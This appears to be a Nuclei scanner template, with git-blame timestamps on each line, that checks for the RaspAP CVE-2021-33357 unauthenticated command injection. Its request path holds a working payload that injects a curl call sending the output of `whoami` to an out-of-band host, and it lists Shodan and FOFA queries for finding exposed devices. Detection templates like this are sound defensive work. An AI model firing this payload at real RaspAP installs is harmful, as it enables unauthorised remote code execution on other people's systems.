2021-10-03 12:37:22 +00:00
id : CVE-2021-33357
info :
2022-05-18 20:58:07 +00:00
name : RaspAP <=2.6.5 - Remote Command Injection
2021-10-03 20:37:21 +00:00
author : pikpikcu,pdteam
2021-10-03 12:37:22 +00:00
severity : critical
2022-03-14 10:39:08 +00:00
description : |
2022-05-18 20:58:07 +00:00
RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the "iface" GET parameter in /ajax/networking/get_netcfg.php, when the "iface" parameter value contains special characters such as ";".
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the integrity and confidentiality of the affected system.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade RaspAP to a version higher than 2.6.5 to mitigate the vulnerability.
2021-10-03 12:37:22 +00:00
reference :
2021-10-03 20:37:21 +00:00
- https://checkmarx.com/blog/chained-raspap-vulnerabilities-grant-root-level-access/
2021-10-03 12:37:22 +00:00
- https://gist.github.com/omriinbar/52c000c02a6992c6ce68d531195f69cf
2021-10-03 20:37:21 +00:00
- https://github.com/RaspAP/raspap-webgui
2022-05-18 20:58:07 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-33357
2024-01-29 17:11:14 +00:00
- https://github.com/20142995/Goby
2021-10-03 20:44:21 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-10-03 20:44:21 +00:00
cve-id : CVE-2021-33357
cwe-id : CWE-78
2024-05-31 19:23:20 +00:00
epss-score : 0.96707
epss-percentile : 0.99648
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:raspap:raspap:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : raspap
product : raspap
2024-05-31 19:23:20 +00:00
shodan-query : http.favicon.hash:-1465760059
fofa-query : icon_hash=-1465760059
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,rce,raspap,oast
2021-10-03 12:37:22 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-10-03 12:37:22 +00:00
- method : GET
path :
2022-08-24 08:56:43 +00:00
- "{{BaseURL}}/ajax/networking/get_netcfg.php?iface=;curl%20{{interactsh-url}}/`whoami`;"
2021-10-03 12:37:22 +00:00
2022-03-14 10:39:08 +00:00
matchers-condition : and
2021-10-03 12:37:22 +00:00
matchers :
2021-10-03 20:37:21 +00:00
- type : word
part : interactsh_protocol
words :
- "http"
2022-03-14 10:39:08 +00:00
- type : word
words :
- "DHCPEnabled"
2021-10-03 20:37:21 +00:00
extractors :
2021-10-03 17:11:42 +00:00
- type : regex
2021-10-03 20:37:21 +00:00
group : 1
2021-10-03 17:11:42 +00:00
regex :
2022-05-18 20:58:07 +00:00
- 'GET \/([a-z-]+) HTTP'
2023-07-11 19:49:27 +00:00
part : interactsh_request
2024-06-01 06:53:00 +00:00
# digest: 4a0a0047304502202cb8400b73367eea3c497924cc723246298a450a67aa13e58179baac950a78790221009ae4d2e958904481b39e84c2c0dab404f9888be12fcfe94328b861be0d13a8b3:922c64590222798bb761d5b6d8e72950